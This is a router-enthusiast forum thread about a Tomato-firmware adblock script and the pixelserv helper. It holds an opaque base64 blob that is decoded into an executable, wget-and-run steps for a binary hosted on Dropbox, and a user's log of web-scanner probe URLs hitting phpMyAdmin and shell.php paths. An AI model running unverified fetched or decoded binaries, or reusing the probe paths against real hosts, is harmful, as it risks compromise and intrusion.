RIztIEI4iLMDNwcSwsGBg1gixveqi25tf3/e/+qr99WrV696uqt7y/hpExRFoW+iUn1ipNU3aDDs puZE9TSaNZh0qke9qB21pbpE8LEaQp8SCQ1DQ9A60FYKq+EqY+lTXJViCG2sEVSMZy/7Zd9ooVeA H0HrSr+K/70UVgPqzV9PzjH7hZOhoHj+Pwr7++eyqf65TL81Y9FIx+1CPCFyUhUSto+C3GD31zOo CUGaGWJcfdUQazgaNkSuI+sY1BB2J/iNYDVoG6JiFGtqTRBZqwSwgn4ohWFVXissEcbDct7NYXvC toBtB9sSlmN+qdUKReRRg+Xxb2C7Af+v9IAiPsRdWxe5ny2g0QBXhXb14Wa+NufUWta6M7QTtL30 dZC2obSKtE2lbeCuS9S0LdcTGqGfR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vENDesFpYMCm+PL8mvtYq2ajV D8CETxy24+KcGJ8+edbcuO2sSdkUF8fveKkgzotxa4V7sqZ42imU4M64ZmUaIVxKKZfBKb2ICQoI ZbudKRuk1RkrtWZ5PJnKDhpI/yyN5ElSpW/fVGA9t/eOCa3r8uS3Ee+7DEvI904dljx8s4ASDVbY L3lSu8m5VfdbBpRoqeqOVSRHg/aG1pE8fPuAut88gvlhyeI7BfPwjQJKNI28eVWpo6BfJK8IXhE8 nfzzujJD4rruexqUzzZSfLx5Ho/ft6FEJ8IeT5N2kcfjawxKNEv5Od4yj8fXNxS8X8yb8+3bLPBm gXeTfp7X8fHqawZUxgjE2yx5qLX8Ngb+L3g7fbxW4LX6DW+vjxcBL/KbeQ/4eDp4+m94h328KHjR 3/BOeDwtAV4CvD2BujD3rI93E7ybv4l3iesm570H3m3w9F/U+SrH896/meeJ55NzSpG8u7/gfQVs +LAkPBUAAA==" n="nvram";m="md5sum";if [ "$($e "$ENC"|$m)" != "$($e|$n get pxl|$m)" ] then $n set pxl="$ENC";$n commit;logger $n pxl updated;rm -f $PXL;fi;} setup # after the script ran once you can remove this line and all lines above this [B]PXL="/tmp/pixelserv"[/COLOR] if [ ! -x $PXL ]; then t="$PXL.tmp";nvram getfb64 pxl $t;gzip -dc $t>$PXL;rm -f $t;chmod +x $PXL;fi[/B] Edit 2: the setup (blue) and the housekeeping (bolded) parts share the PXL variable. Those who got Tomato tools\system web-shell can run the blue(setup) part there and paste Code: PXL="/tmp/pixelserv" if [ ! -x $PXL ]; then t="$PXL.tmp";nvram getfb64 pxl $t;gzip -dc $t>$PXL;rm -f $t;chmod +x $PXL;fi in admin scripts> firewall
If you are happy to use jffs or usb or possibly cifs absolutely no need to squeeze into nvram, then use ramdisk to expand. If you use uncompressed it might give useful error messages for diagnostics when going wrong! But if you have a version with no usb/flash available then the above is just a challenge. When stable version reached would add very little to prebuilt firmware - the squashfs-lzma filesystem is highly compressed and there really isn't much unique inside pixelserv....
That's true. Probably the same applies for netcat. Lack of uudecode surprised me the most: That was the only way I knew to quickly deploy a binary on my router (I used here-document for text files) But then again I never expected stock tomato to not support uuencode nor enc parameter for openssl. :frown: IMHO uudecode support allows for much greater scripting flexibility especially when size constraints are not an issue and thus it would be possible to embed whatever executable such script might need.
I can understand where it would be useful to have the exe embedded in the router (kismet), but it's not that useful with adblock. Adblock is only useful when you are connected to internet, and you can store those exe on a free server (dropbox).
I meant embedding the executables only in the script to use them only once. I never thought about using a file hosting service to serve pixelserv for the adblock.
hehe That's the purpose of PXL_URL I didn't try on dropbox, but it should work. Maybe you have to add "?dl=1" to the URL. http://lifehacker.com/5680956/make-...load-files-instead-of-viewing-them-in browser
Placed my whitelist.txt and pixel server executable on dropbox with the ?dl=1 option. All works so far. It does appear to be a tad slower rendering pages but that's just a gut feel and not at all scientific. Great job with this!
Do you mean it's slower with pixelserv enabled ? Maybe a little bit yes, but I'm not sure... I stopped using Adblock and WOT for Chrome a few days ago because I thought it was really slow. Now it's back to high speed with only adblock and pixelserv on the router Adblock for Chrome was good to hide elements, but now with pixelserv, it doesn't hurt the eye, so I can live without it.
Yes I meant it feels like it is slower with pixelserv enabled. I got rid of noscript plugin and that seems to have helped. This is excellent work you and the rest of the team have done here. I'm very impressed.
Until now I though it was meant for NAS/webservers in the lan. The though that something on my PC had to pass through a remote server to reach my router didn't occur to me :frown: I was obviously using a snail-mail mentality in the Internet age. Thanks I am looking into available services. I don't really feel to use something than require an account so if nothing turns out I'll use pastebin+openssl and spare my nvram.
Hello All! I've just discovered this script and want to thank everyone for it. I'm having some issues getting everything to work correctly. I'm using Adblock Script 3.5e from here: http://www.linksysinfo.org/forums/showpost.php?p=369043&postcount=215 on Tomato 1.28 stock on a WRT54GL. I have the code from the link above in the WANup and only changed the following: USEPIXELSERV="Y" PXL_ADR=192.168.1.1 (where IP is router IP) PXL_URL="http://www.sitewith1x1pixel" (site where I put 1x1 pixel) I'm sure there is another part of the script that I need to put in either the firewall section or something I need to download to get pixelserv to work but I'm at a loss. Can anyone tell me if the values above are correct and what else do I need to get ads to be replaced with that pixel I specified? Right now they show page not displayed errors. Thanks!
@nephelim: Sorry, I didn't explain, I thought the code + how the whitelist works was enough ^^; maybe we should change the name or add some explanations... I was thinking about creating a new thread, it would be easier to update and to find the latest version... @splmach: You can use the latest version (3.8b). As for PXL_ADR, it should be the IP for pixelserv, an unused IP. And PXL_URL is the URL where pixelserv is stored. Download it from my sig and store it on dropbox for example (see the discussions above). Yea... we really need to add some explanation in the script ^^;
It was my oversight. Even if it was spelled out the remote option didn't get through me. :frown1: So far I used the inline lists for custom blacklist and whitelist. Perhaps a small faq built in the long run by collecting (copy&pasting) replies to common questions. A new topic is a good idea since it'll provide a way to link the latest version in the first post.
I'm going to try this a little later when I'm home if I have time. Just out of curiosity, is there a way to decode the text if I wanted to comment or change anything and then re-encode it back so it fits? Thanks guys!
The encoded part must be decoded using any base64 utility that can create a binary file. After renaming such file to have a .gz extension it would be possible to uncompress it using 7zip by doubleclicking. the result will be a text file. to encode back: the text file should be compressed in gzip file format and the resulting file should be encoded in base64. using teddybear's tomato builds these steps can be easily carried on the router (just a matter of copy& paste).
Put the gzipped block from my post into a a script (for example adzip.sh). Set exec mode (chmod +x adzip.sh), edit it, then run it. It will print the base64 gzipped version in the console. Replace the one in the adblock script with it.
srouquette, is the script supposed to be named "Dnsmasq Ed. v3.8a" or "Dnsmasq Ed. v3.8b"? Your link is labeled as Dnsmasq Ed. v3.8b but the script itself says Dnsmasq Ed. v3.8a.
@tmr250z: my bad, I fixed it. But I will create a seperate thread soon. @damwill: in /etc Why do you need it? You can add some settings to dnsmasq with the interface (advanced, dns/dhcp, custom dns conf). As for the hosts file, the one used by adblock is generated in /tmp
Running Adblock 3.8c on WRT610N • I downloaded the pixelserv18 file, extracted it and uploaded to dropbox.com • I tried changing the IP address to 0.0.0.0 or 192.168.1.3 or to any IP add that is not in use, still no go. What am I doing wrong? I have been trying in vain to run pixelserv using the exact command in the script: Code: USEPIXELSERV="Y" PXL_ADR=192.168.1.254 PXL_URL="http://dl.dropbox.com/u/14/pixelserv" PXL_URL="http://example.com/pixelserv" I keep getting this: Code: Nov 6 22:27:24 Linksys user.notice root: [COLOR="Red"]ADBLOCK ERROR: cannot start pixelserv[/COLOR] Nov 6 22:27:31 Linksys user.notice root: ADBLOCK: http://pgl.yoyo.org/as/serverlist.php?hostformat=nohtml Nov 6 22:27:49 Linksys cron.err crond[421]: time disparity of 21484227 minutes detected Nov 6 22:27:57 Linksys user.notice root: ADBLOCK: http://www.malwaredomains.com/files/justdomains Nov 6 22:27:59 Linksys user.notice root: ADBLOCK: http://www.malwaredomainlist.com/hostslist/hosts.txt Nov 6 22:28:11 Linksys user.notice root: ADBLOCK: http://www.mvps.org/winhelp2002/hosts.txt Nov 6 22:28:14 Linksys user.notice root: ADBLOCK: 32985 entries Nov 6 22:28:14 Linksys user.notice root: ADBLOCK: sorting hosts... Nov 6 22:29:13 Linksys user.notice root: ADBLOCK: hosts sorted. Nov 6 22:29:13 Linksys user.notice root: ADBLOCK: 24772 entries
You should read again the other thread and post in it. http://goo.gl/mhykQ I can see multi errors here: - don't use 0.0.0.0, you should use a valid unused IP, it's explained here http://goo.gl/mhykQ - PXL_ADR was renamed PXL_IP in 3.8c - where is PXL_EXE ? - try to add ?dl=1 in your dropbox URL, explained here: http://goo.gl/mhykQ - you should have only one variable with the name PXL_URL
@damwill: the adblock script does that for you already, provided you specified its PXL_ADR PXL_ADR=192.168.1.254 or PXL_IP in the latest adblock version PXL_IP=192.168.1.254
Thank you, guys! I corrected the command line to: Code: USEPIXELSERV="Y" PXL_IP=192.168.1.254 PXL_URL="http://dl.dropbox.com/u/14/pixelserv?dl=1" PXL_EXE="http://example.com/pixelserv" I'm still getting the same error Oh well I give up!
In the original script: PXL_EXE="/tmp/pixelserv" Why did you change that? I will update the explanation, but you shouldn't change that if you don't know what it is used for.
Code: PXL() { if [[ "$USEPIXELSERV" == "[COLOR="Red"]Y[/COLOR]" ]] ; then if [[ ! -x $PXL_EXE ]] ; then wget -O $PXL_EXE $PXL_URL chmod +x $PXL_EXE fi [COLOR="Red"]ifconfig br0:0 $PXL_IP if [[ "$(pidof pixelserv)" == "" ]] ; then $PXL_EXE $PXL_IP; sleep 1 ; fi if [[ "$(pidof pixelserv)" == "" ]] ; then logger ADBLOCK ERROR: cannot start pixelserv else eval "NIP=$PXL_IP" fi[/COLOR] fi } It doesn't matter if pixelserv is on jffs if USEPIXELSERV="Y" ifconfig is carried and then pixelserv is started if not running already if pixelserv is placed on jffs you only need to update PXL_IP=192.168.1.2 #if something on you lan use 192.168.1.2 change it to an unused lan ip eg 192.168.1.254 PXL_EXE="/tmp/pixelserv" #eg PXL_EXE="/jffs/pixelserv"
Thanks ~nephelim~. I was running pixelserv before the script but changing it to the above works perfectly.
You're right, I should've not change that line... In all honesty there have been a lot of revisions. LOL! I usually change the whitelist line to the pixelserv line that I usually copy paste from a a text file of my whitelist/blacklist and in the process I wasn't paying much attention. Sorry Now using the latest build 3.8d: Code: USEPIXELSERV="Y" PXL_IP=192.168.1.254 PXL_EXE="/tmp/pixelserv" PXL_URL="http://dl.dropbox.com/u/14545213/pixelserv?dl=1" Saved and rebooted... Error's still there Code: [COLOR="Red"]Nov 7 00:40:14 Linksys user.notice root: ADBLOCK ERROR: cannot start pixelserv[/COLOR] Nov 7 00:40:25 Linksys user.notice root: ADBLOCK: http://pgl.yoyo.org/as/serverlist.php?hostformat=nohtml Nov 7 00:40:33 Linksys user.notice root: ADBLOCK: http://www.malwaredomains.com/files/justdomains Nov 7 00:40:35 Linksys user.notice root: ADBLOCK: http://www.malwaredomainlist.com/hostslist/hosts.txt Nov 7 00:40:53 Linksys user.notice root: ADBLOCK: http://www.mvps.org/winhelp2002/hosts.txt Nov 7 00:40:56 Linksys user.notice root: ADBLOCK: 32985 entries Nov 7 00:40:56 Linksys user.notice root: ADBLOCK: sorting hosts... Nov 7 00:41:57 Linksys user.notice root: ADBLOCK: hosts sorted. Nov 7 00:41:57 Linksys user.notice root: ADBLOCK: 24772 entries
Try to log to your router with putty and type those commands: cd /tmp ./pixelserv 192.168.1.254 and tell us if there was an error.
... ... ... unzip pixelserv.zip before putting it on dropbox, instead of renaming it. inside the zip file, there's an executable named pixelserv, that's the file you should put on dropbox.
You're welcome. I was wondering if the old pixelserv preload http://www.linksysinfo.org/forums/showpost.php?p=369564&postcount=312 could be useful for those willing to install pixelserv on jffs. did you use that script to copy pixelserv? edit: perhaps you copied pixelserv from a CIFS shared folder.
Hi, srouquette! Unzipping/extracting it was the first thing I did before I uploaded to dropbox.... I even tried re-downloading it and extracting it again, (I tried using winrar, winzip and 7zip) before uploading it.. Thanks!
@~nephelim~ What I did was copy pixelserv to jffs using WinSCP. I set PXL_IP=192.168.1.86 in the adblock script and put the following two lines in the firewall startup script: ifconfig br0:0 192.168.1.86 pixelserv 192.168.1.86
ok... I said that because the link you put on this forum is still wrong, did you know that ? http://dl.dropbox.com/u/14545213/pixelserv?dl=1 2 hints: - the file size is the same as pixelserv18.zip - the header is PK instead of ELF (you have to use a binary viewer) I downloaded from your URL, renamed it and unzipped it. It shouldn't be a zip...
Thanks. Look like the build I'm using does not support ftp (no ftpd) tftp (no tftpd) nor scp (no groups) :frown: What file protocol did you use? This approach suits my needs as I always wished to easily dig into tomato filesystem without being forced to use shell command. I can manage to add a ftpd on the router but I would like to use scp EDIT: scp trigger an error but works fine. Thanks again.
@nephelim: for WinSCP, did you enable the ssh server? (in admin access) And you can create the JFFS parition with the admin aswell.
I was fooled by the error message. Code: Command 'groups' failed with return code 127 and error message -sh: groups: not found. and assumed it was not working. But when I attempted to copy a file it worked. Thanks. I really needed this. I cannot count how many cd cat and rm I typed in the web-shell until now.
I'm using Tomato Firmware v1.28.9052 MIPSR2-beta23 K26 USB Ext As far as the WinSCP settings I used: Host name: 192.168.1.1 Port: 22 User Name: root Password: password Private key file: link to my private.ppk File protocol: SCP Under SCP/Shell | Other Options: unchecked Lookup user groups On the router Under Administration | Admin Access | SSH Daemon : I checked Enable at Startup and put a copy of my authorized key in the Authorized Keys box.
All the while, I thought after extracting the pixelserv18.zip, that was it.... :flabbergasted: I again extracted the file pixelserv18 from the zip file and got 4 more files from it (build.sh, pixelserv, pixelserv18.c and testp.sh). I re-upped the pixelserv file from these files.... BINGO!!! :biggrin: Srouquette, and the rest of you guys, thank you for your patience. :clap2:
ouch... sorry about that... telnet is also enabled by default with tomato, you can use putty to connect to your router through telnet ^^;
I disabled both telnet and ssh. I use putty from time to time but since I have to log in to enable ssh I often use the webshell. It was hell to look at the filesystem. Just to summarize what burden I put on my shoulder. here is what I used to do. open two web shell get the filesystem using find / and cd to get in a folder I wanted to check add ls -lsh commands while testing scripts to check the status of files in a folder cat to check a file content rm -f to delete encode to base64 and decode on pc to check binary files. it was hell :flabbergasted:
I just wanted to take a second to thank everyone on here. I was able to get everything working when I got home! :biggrin:
I ran into a problem. I made a change to my wireless security, hit save then waited until adblock was done loading. Pixelserv is running but I get an error message when attempting to reach the pixelserv blocking address, 192.168.1.86. On reboot or nightly update everything works - pixelserv serves up a blank image. Do I have something misconfigured?
ok, that's strange. When you type "ps", you see it running at 192.168.1.86, but when you type http://192.168.1.86 it returns an error ? Try to force the refresh of your browser maybe... (ctrl+F5)
Yes, and I can replicate it. Browser refresh doesn't work nor trying on a different browser. ps still shows: 681 root 608 S /jffs/pixelserv 192.168.1.86 :wall: Edit: In addition, I cannot connect to my other router (WDS) unless I reboot.
There's nothing about pixelserv in the log - are you using the latest 'full' one V18? There was an older single threaded one which could hang - stuck waiting for a reply from a old browser.
daemon.info pixelserv[599]: /jffs/pixelserv V18 compiled: Nov 3 2010 08:15:01 from pixelserv18.c I have it working using the following: ifconfig br0:0 192.168.1.86 if [[ "$(pidof pixelserv)" == "" ]]; then /jffs/pixelserv 192.168.1.86 else kill $(pidof pixelserv) /jffs/pixelserv 192.168.1.86 fi
I'll have to experiment to see if I can reproduce this. Clearly lots of messages in log todo with reconfiguration of br0, which the pixelserv is listening on, but your observation suggests this freezes the program - I would have expected it to die with a message in the log - but maybe its just happily listening on a now non existent virtual interface? V18 should leave a message with "no of ads served" in the syslog on normal commanded exit. I'd recommend "killall pixelserv" in such a script - this should kill any instance of pixelserv, including orphans and zombies. Tomato restarts lots of services on configuration change, which often results in the firewall and wan-up scripts being run - and there are also reports the init script may re-run - so we always need to make sure any scripts are 're-entrant' stopping old before starting new is therefore a good thing to do!
Well this is odd. If I change my kill script to killall it does not kill anything. If I just use the kill command then all instances are removed.
I need some help guys i cant seem to get this to work. Here is my logfile. Dec 31 16:00:07 unknown user.info init[1]: Tomato 1.28.0120 Dec 31 16:00:07 unknown daemon.info dnsmasq-dhcp[88]: DHCPREQUEST(br0) 192.168.1.139 00:26:37:b2:9f:a9 Dec 31 16:00:07 unknown daemon.info dnsmasq-dhcp[88]: DHCPACK(br0) 192.168.1.139 00:26:37:b2:9f:a9 Dec 31 16:00:07 unknown cron.err crond[92]: crond (busybox 1.14.4) started, log level 9 Dec 31 16:00:07 unknown user.info init[1]: Linksys WRT54G/GS/GL Dec 31 16:00:10 unknown daemon.info dnsmasq-dhcp[88]: DHCPDISCOVER(br0) 00:1d:d8:48:26:4b Dec 31 16:00:10 unknown daemon.info dnsmasq-dhcp[88]: DHCPOFFER(br0) 192.168.1.129 00:1d:d8:48:26:4b Dec 31 16:00:10 unknown daemon.info dnsmasq[88]: reading /etc/resolv.dnsmasq Dec 31 16:00:10 unknown daemon.info dnsmasq[88]: using nameserver 205.152.144.23#53 Dec 31 16:00:10 unknown daemon.info dnsmasq[88]: using nameserver 205.152.150.23#53 Dec 31 16:00:10 unknown daemon.info dnsmasq[88]: exiting on receipt of SIGTERM Dec 31 16:00:10 unknown daemon.info dnsmasq[106]: started, version 2.55 cachesize 150 Dec 31 16:00:10 unknown daemon.info dnsmasq[106]: compile time options: no-IPv6 GNU-getopt no-RTC no-DBus no-I18N DHCP no-scripts no-TFTP Dec 31 16:00:10 unknown daemon.info dnsmasq-dhcp[106]: DHCP, IP range 192.168.1.100 -- 192.168.1.149, lease time 1d Dec 31 16:00:11 unknown daemon.info dnsmasq[106]: reading /etc/resolv.dnsmasq Dec 31 16:00:11 unknown daemon.info dnsmasq[106]: using nameserver 205.152.144.23#53 Dec 31 16:00:11 unknown daemon.info dnsmasq[106]: using nameserver 205.152.150.23#53 Dec 31 16:00:11 unknown daemon.info dnsmasq[106]: read /etc/hosts - 0 addresses Dec 31 16:00:11 unknown daemon.info dnsmasq[106]: read /etc/hosts.dnsmasq - 1 addresses Dec 31 16:00:12 unknown daemon.info dnsmasq-dhcp[106]: DHCPREQUEST(br0) 192.168.1.129 00:1d:d8:48:26:4b Dec 31 16:00:12 unknown daemon.info dnsmasq-dhcp[106]: DHCPACK(br0) 192.168.1.129 00:1d:d8:48:26:4b Dec 31 16:00:12 unknown daemon.info dnsmasq-dhcp[106]: DHCPREQUEST(br0) 192.168.1.126 00:21:00:41:5d:8a Dec 31 16:00:12 unknown daemon.info dnsmasq-dhcp[106]: DHCPACK(br0) 192.168.1.126 00:21:00:41:5d:8a ryansnotebook Dec 31 16:00:13 unknown daemon.info dnsmasq-dhcp[106]: DHCPREQUEST(br0) 192.168.1.140 00:25:9c:ee:e8:d0 Dec 31 16:00:13 unknown daemon.info dnsmasq-dhcp[106]: DHCPACK(br0) 192.168.1.140 00:25:9c:ee:e8:d0 tvpc Dec 31 16:00:14 unknown daemon.notice miniupnpd[139]: HTTP listening on port 5000 Nov 11 16:06:36 unknown daemon.info pixelserv[389]: /tmp/pixelserv V18 compiled: Nov 3 2010 08:15:01 from pixelserv18.c Nov 11 16:06:36 unknown daemon.notice pixelserv[391]: Listening on 192.168.1.2:80 Nov 11 16:06:42 unknown cron.err crond[92]: time disparity of 21492006 minutes detected Nov 11 16:06:52 unknown user.notice root: ADBLOCK: http://pgl.yoyo.org/as/serverlist.php?hostformat=nohtml Nov 11 16:06:53 unknown user.notice root: ADBLOCK: http://www.malwaredomains.com/files/justdomains Nov 11 16:06:54 unknown user.notice root: ADBLOCK: http://www.malwaredomainlist.com/hostslist/hosts.txt Nov 11 16:07:02 unknown user.notice root: ADBLOCK: http://www.mvps.org/winhelp2002/hosts.txt Nov 11 16:07:04 unknown user.notice root: ADBLOCK: 31466 entries Nov 11 16:07:04 unknown user.notice root: ADBLOCK: sorting hosts... Nov 11 16:07:30 unknown daemon.info dnsmasq-dhcp[106]: DHCPREQUEST(br0) 192.168.1.139 00:26:37:b2:9f:a9 Nov 11 16:07:30 unknown daemon.info dnsmasq-dhcp[106]: DHCPACK(br0) 192.168.1.139 00:26:37:b2:9f:a9 Nov 11 16:09:23 unknown user.notice root: ADBLOCK: hosts sorted. Nov 11 16:09:24 unknown user.notice root: ADBLOCK: 23292 entries Nov 11 16:09:27 unknown daemon.info dnsmasq[106]: exiting on receipt of SIGTERM Nov 11 16:09:29 unknown daemon.info dnsmasq[537]: started, version 2.55 cachesize 2048 Nov 11 16:09:29 unknown daemon.info dnsmasq[537]: compile time options: no-IPv6 GNU-getopt no-RTC no-DBus no-I18N DHCP no-scripts no-TFTP Nov 11 16:09:29 unknown daemon.info dnsmasq[537]: asynchronous logging enabled, queue limit is 5 messages Nov 11 16:09:29 unknown daemon.info dnsmasq-dhcp[537]: DHCP, IP range 192.168.1.100 -- 192.168.1.149, lease time 1d Nov 11 16:09:29 unknown daemon.info dnsmasq[537]: reading /etc/resolv.dnsmasq Nov 11 16:09:29 unknown user.notice root: ADBLOCK: dnsmasq is running Nov 11 16:09:29 unknown daemon.info dnsmasq[537]: using nameserver 205.152.144.23#53 Nov 11 16:09:29 unknown daemon.info dnsmasq[537]: using nameserver 205.152.150.23#53 Nov 11 16:09:29 unknown daemon.info dnsmasq[537]: read /etc/hosts - 0 addresses Nov 11 16:09:29 unknown daemon.info dnsmasq[537]: read /etc/hosts.dnsmasq - 1 addresses
It looks like pixelserv is up and running fine and it would be possible to load http://192.168.1.2/test.gif and get a blank page instead of a connection timeout (or could not connect or cannot display or not available) error page.
The solution with own webserver instead of pixelserv is also good for tracking hacker attempts. Here is what I have caught since I installed this script: Code: Sat, 06 Nov 2010 04:47:03 +0100: IP /196.40.74.18/ URL: /phpmyadmin/scripts/setup.php Mon, 08 Nov 2010 00:09:59 +0100: IP /71.164.154.78/ URL: /include/shell.php?x=x Tue, 09 Nov 2010 20:44:37 +0100: IP /200.17.33.174/ URL: /w00tw00t.at.blackhats.romanian.anti-sec:) Tue, 09 Nov 2010 20:44:40 +0100: IP /200.17.33.174/ URL: /scripts/setup.php Tue, 09 Nov 2010 20:44:46 +0100: IP /200.17.33.174/ URL: /admin/scripts/setup.php Tue, 09 Nov 2010 20:44:52 +0100: IP /200.17.33.174/ URL: /admin/pma/scripts/setup.php Tue, 09 Nov 2010 20:44:58 +0100: IP /200.17.33.174/ URL: /admin/phpmyadmin/scripts/setup.php Tue, 09 Nov 2010 20:45:04 +0100: IP /200.17.33.174/ URL: /db/scripts/setup.php Tue, 09 Nov 2010 20:45:10 +0100: IP /200.17.33.174/ URL: /dbadmin/scripts/setup.php Tue, 09 Nov 2010 20:45:16 +0100: IP /200.17.33.174/ URL: /myadmin/scripts/setup.php Tue, 09 Nov 2010 20:45:22 +0100: IP /200.17.33.174/ URL: /mysql/scripts/setup.php Tue, 09 Nov 2010 20:45:28 +0100: IP /200.17.33.174/ URL: /mysqladmin/scripts/setup.php Tue, 09 Nov 2010 20:45:34 +0100: IP /200.17.33.174/ URL: /typo3/phpmyadmin/scripts/setup.php Tue, 09 Nov 2010 20:45:40 +0100: IP /200.17.33.174/ URL: /phpadmin/scripts/setup.php Tue, 09 Nov 2010 20:45:49 +0100: IP /200.17.33.174/ URL: /phpmyadmin/scripts/setup.php Tue, 09 Nov 2010 20:45:55 +0100: IP /200.17.33.174/ URL: /phpmyadmin1/scripts/setup.php Tue, 09 Nov 2010 20:46:01 +0100: IP /200.17.33.174/ URL: /phpmyadmin2/scripts/setup.php Tue, 09 Nov 2010 20:46:07 +0100: IP /200.17.33.174/ URL: /pma/scripts/setup.php Tue, 09 Nov 2010 20:46:13 +0100: IP /200.17.33.174/ URL: /web/phpMyAdmin/scripts/setup.php Tue, 09 Nov 2010 20:46:19 +0100: IP /200.17.33.174/ URL: /xampp/phpmyadmin/scripts/setup.php Tue, 09 Nov 2010 20:46:25 +0100: IP /200.17.33.174/ URL: /web/scripts/setup.php Tue, 09 Nov 2010 20:46:31 +0100: IP /200.17.33.174/ URL: /php-my-admin/scripts/setup.php Tue, 09 Nov 2010 20:46:37 +0100: IP /200.17.33.174/ URL: /websql/scripts/setup.php Tue, 09 Nov 2010 20:46:43 +0100: IP /200.17.33.174/ URL: /phpmyadmin/scripts/setup.php Tue, 09 Nov 2010 20:46:51 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2/scripts/setup.php Tue, 09 Nov 2010 20:46:57 +0100: IP /200.17.33.174/ URL: /php-my-admin/scripts/setup.php Tue, 09 Nov 2010 20:47:03 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.2.3/scripts/setup.php Tue, 09 Nov 2010 20:47:09 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.2.6/scripts/setup.php Tue, 09 Nov 2010 20:47:15 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.1/scripts/setup.php Tue, 09 Nov 2010 20:47:21 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.4/scripts/setup.php Tue, 09 Nov 2010 20:47:27 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.5-rc1/scripts/setup.php Tue, 09 Nov 2010 20:47:33 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.5-rc2/scripts/setup.php Tue, 09 Nov 2010 20:47:39 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.5/scripts/setup.php Tue, 09 Nov 2010 20:47:45 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.5-pl1/scripts/setup.php Tue, 09 Nov 2010 20:47:51 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.6-rc1/scripts/setup.php Tue, 09 Nov 2010 20:47:57 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.6-rc2/scripts/setup.php Tue, 09 Nov 2010 20:48:03 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.6/scripts/setup.php Tue, 09 Nov 2010 20:48:09 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.7/scripts/setup.php Tue, 09 Nov 2010 20:48:15 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.7-pl1/scripts/setup.php Tue, 09 Nov 2010 20:48:21 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-alpha/scripts/setup.php Tue, 09 Nov 2010 20:48:27 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-alpha2/scripts/setup.php Tue, 09 Nov 2010 20:48:33 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-beta1/scripts/setup.php Tue, 09 Nov 2010 20:48:39 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-beta2/scripts/setup.php Tue, 09 Nov 2010 20:48:45 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-rc1/scripts/setup.php Tue, 09 Nov 2010 20:48:51 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-rc2/scripts/setup.php Tue, 09 Nov 2010 20:48:57 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-rc3/scripts/setup.php Tue, 09 Nov 2010 20:49:03 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0/scripts/setup.php Tue, 09 Nov 2010 20:49:09 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-pl1/scripts/setup.php Tue, 09 Nov 2010 20:49:15 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-pl2/scripts/setup.php Tue, 09 Nov 2010 20:49:21 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-pl3/scripts/setup.php Tue, 09 Nov 2010 20:49:27 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1-rc1/scripts/setup.php Tue, 09 Nov 2010 20:49:33 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1-rc2/scripts/setup.php Tue, 09 Nov 2010 20:49:39 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1/scripts/setup.php Tue, 09 Nov 2010 20:49:45 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1-pl1/scripts/setup.php Tue, 09 Nov 2010 20:49:51 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1-pl2/scripts/setup.php Tue, 09 Nov 2010 20:49:57 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1-pl3/scripts/setup.php Tue, 09 Nov 2010 20:50:03 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.2-rc1/scripts/setup.php Tue, 09 Nov 2010 20:50:09 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.2-beta1/scripts/setup.php Tue, 09 Nov 2010 20:50:15 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.2-rc1/scripts/setup.php Tue, 09 Nov 2010 20:50:21 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.2/scripts/setup.php Tue, 09 Nov 2010 20:50:27 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.2-pl1/scripts/setup.php Tue, 09 Nov 2010 20:50:33 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.3/scripts/setup.php Tue, 09 Nov 2010 20:50:39 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.3-rc1/scripts/setup.php Tue, 09 Nov 2010 20:50:45 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.3/scripts/setup.php Tue, 09 Nov 2010 20:50:51 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.3-pl1/scripts/setup.php Tue, 09 Nov 2010 20:50:57 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4-rc1/scripts/setup.php Tue, 09 Nov 2010 20:51:03 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4-pl1/scripts/setup.php Tue, 09 Nov 2010 20:51:09 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4-pl2/scripts/setup.php Tue, 09 Nov 2010 20:51:15 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4-pl3/scripts/setup.php Tue, 09 Nov 2010 20:51:21 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4-pl4/scripts/setup.php Tue, 09 Nov 2010 20:51:27 +0100: IP /200.17.33.174/ URL: 